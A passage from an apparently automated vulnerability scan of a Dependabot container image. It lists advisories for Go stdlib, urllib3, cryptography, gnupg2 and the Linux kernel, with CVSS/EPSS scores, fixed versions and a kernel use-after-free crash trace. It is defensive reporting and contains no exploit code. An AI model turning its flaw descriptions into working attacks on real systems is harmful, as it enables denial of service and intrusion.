preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

cryptography 41.0.7 (pypi) pkg:pypi/cryptography@41.0.7 Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 72nd percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. NULL Pointer Dereference Affected range >=38.0.0 <42.0.4 Fixed version 42.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.341% EPSS Percentile 56th percentile Description If pkcs12.serialize_key_and_certificates is called with both: A certificate whose public key did not match the provided private key An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...) Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a ValueError is properly raised. Patched in pyca/cryptography#10423

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

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Pushed	1 week ago
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🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest

digest	sha256:63ba4a2ff3467a98ac6c8610fece2cdc9893e2af6c18111e57618f8949749b82
vulnerabilities
platform	linux/amd64
size	338 MB
packages	592

📦 Base Image ubuntu:24.04

also known as	latest noble noble-20251013
digest	sha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
vulnerabilities

stdlib 1.18.3 (golang) pkg:golang/stdlib@1.18.3 Affected range <1.21.11 Fixed version 1.21.11 EPSS Score 0.085% EPSS Percentile 25th percentile Description The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.243% EPSS Percentile 47th percentile Description Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.646% EPSS Percentile 70th percentile Description Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected. Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template. As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml. With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21. Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution. Affected range <1.23.8 Fixed version 1.23.8 EPSS Score 0.043% EPSS Percentile 13th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range <1.19.10 Fixed version 1.19.10 EPSS Score 0.009% EPSS Percentile 1st percentile Description On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors. If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.163% EPSS Percentile 38th percentile Description Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.306% EPSS Percentile 53rd percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. Affected range <1.21.12 Fixed version 1.21.12 EPSS Score 0.618% EPSS Percentile 69th percentile Description The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail. An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail. Affected range <1.21.8 Fixed version 1.21.8 EPSS Score 1.498% EPSS Percentile 81st percentile Description The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers. Affected range <1.21.9 Fixed version 1.21.9 EPSS Score 66.635% EPSS Percentile 98th percentile Description An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection. Affected range <1.20.0 Fixed version 1.20.0 EPSS Score 0.185% EPSS Percentile 40th percentile Description Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits. In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels. Affected range <1.20.11 Fixed version 1.20.11 EPSS Score 0.083% EPSS Percentile 24th percentile Description The filepath package does not recognize paths with a ??\ prefix as special. On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x. Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b. Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b. In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name. UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 94.466% EPSS Percentile 100th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 0.150% EPSS Percentile 36th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.013% EPSS Percentile 1st percentile Description Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.066% EPSS Percentile 21st percentile Description Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.045% EPSS Percentile 14th percentile Description HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.055% EPSS Percentile 17th percentile Description A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert). Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.229% EPSS Percentile 45th percentile Description A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.175% EPSS Percentile 39th percentile Description A path traversal vulnerability exists in filepath.Clean on Windows. On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack. After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b". Affected range <1.18.9 Fixed version 1.18.9 EPSS Score 0.069% EPSS Percentile 21st percentile Description On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error. Affected range <1.18.8 Fixed version 1.18.8 EPSS Score 0.013% EPSS Percentile 2nd percentile Description Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows. In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D". Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected. Affected range >=1.18.0-0 <1.18.5 Fixed version 1.18.5 EPSS Score 0.113% EPSS Percentile 30th percentile Description Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.041% EPSS Percentile 12th percentile Description Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.038% EPSS Percentile 11th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.031% EPSS Percentile 9th percentile Description Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value. After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion. Affected range <1.18.6 Fixed version 1.18.6 EPSS Score 0.093% EPSS Percentile 26th percentile Description HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.048% EPSS Percentile 15th percentile Description Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.065% EPSS Percentile 20th percentile Description Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

urllib3 2.0.7 (pypi) pkg:pypi/urllib3@2.0.7 Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.22 <2.6.3 Fixed version 2.6.3 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.018% EPSS Percentile 4th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409). Affected usages Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Remediation Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source. Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.0 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.026% EPSS Percentile 6th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF. Allocation of Resources Without Limits or Throttling Affected range >=1.24 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.033% EPSS Percentile 9th percentile Description Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

cryptography 41.0.7 (pypi) pkg:pypi/cryptography@41.0.7 Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 72nd percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. NULL Pointer Dereference Affected range >=38.0.0 <42.0.4 Fixed version 42.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.341% EPSS Percentile 56th percentile Description If pkcs12.serialize_key_and_certificates is called with both: A certificate whose public key did not match the provided private key An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...) Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a ValueError is properly raised. Patched in pyca/cryptography#10423

gnupg2 2.4.4-2ubuntu17.3 (deb) pkg:deb/ubuntu/gnupg2@2.4.4-2ubuntu17.3?os_distro=noble&os_name=ubuntu&os_version=24.04 Affected range <2.4.4-2ubuntu17.4 Fixed version 2.4.4-2ubuntu17.4 CVSS Score 7 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.016% EPSS Percentile 3rd percentile Description In GnuPG before 2.4.9, armor_filter in g10/armor.c has two increments of an index variable where one is intended, leading to an out-of-bounds write for crafted input. (For ExtendedLTS, 2.2.51 and later are fixed versions.)

linux 6.8.0-87.88 (deb) pkg:deb/ubuntu/linux@6.8.0-87.88?os_distro=noble&os_name=ubuntu&os_version=24.04 Affected range <6.8.0-90.91 Fixed version 6.8.0-90.91 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.010% EPSS Percentile 1st percentile Description In the Linux kernel, the following vulnerability has been resolved: net: appletalk: Fix use-after-free in AARP proxy probe The AARP proxy‐probe routine (aarp_proxy_probe_network) sends a probe, releases the aarp_lock, sleeps, then re-acquires the lock. During that window an expire timer thread (__aarp_expire_timer) can remove and kfree() the same entry, leading to a use-after-free. race condition: cpu 0 | cpu 1 atalk_sendmsg() | atif_proxy_probe_device() aarp_send_ddp() | aarp_proxy_probe_network() mod_timer() | lock(aarp_lock) // LOCK!! timeout around 200ms | alloc(aarp_entry) and then call | proxies[hash] = aarp_entry aarp_expire_timeout() | aarp_send_probe() | unlock(aarp_lock) // UNLOCK!! lock(aarp_lock) // LOCK!! | msleep(100); __aarp_expire_timer(&proxies[ct]) | free(aarp_entry) | unlock(aarp_lock) // UNLOCK!! | | lock(aarp_lock) // LOCK!! | UAF aarp_entry !! ================================================================== BUG: KASAN: slab-use-after-free in aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 Read of size 4 at addr ffff8880123aa360 by task repro/13278 CPU: 3 UID: 0 PID: 13278 Comm: repro Not tainted 6.15.2 #3 PREEMPT(full) Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1b0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:408 [inline] print_report+0xc1/0x630 mm/kasan/report.c:521 kasan_report+0xca/0x100 mm/kasan/report.c:634 aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 sock_do_ioctl+0xdc/0x260 net/socket.c:1190 sock_ioctl+0x239/0x6a0 net/socket.c:1311 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:906 [inline] __se_sys_ioctl fs/ioctl.c:892 [inline] __x64_sys_ioctl+0x194/0x200 fs/ioctl.c:892 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcb/0x250 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated: aarp_alloc net/appletalk/aarp.c:382 [inline] aarp_proxy_probe_network+0xd8/0x630 net/appletalk/aarp.c:468 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 Freed: kfree+0x148/0x4d0 mm/slub.c:4841 __aarp_expire net/appletalk/aarp.c:90 [inline] __aarp_expire_timer net/appletalk/aarp.c:261 [inline] aarp_expire_timeout+0x480/0x6e0 net/appletalk/aarp.c:317 The buggy address belongs to the object at ffff8880123aa300 which belongs to the cache kmalloc-192 of size 192 The buggy address is located 96 bytes inside of freed 192-byte region [ffff8880123aa300, ffff8880123aa3c0) Memory state around the buggy address: ffff8880123aa200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff8880123aa280: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc >ffff8880123aa300: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff8880123aa380: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ffff8880123aa400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ==================================================================

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

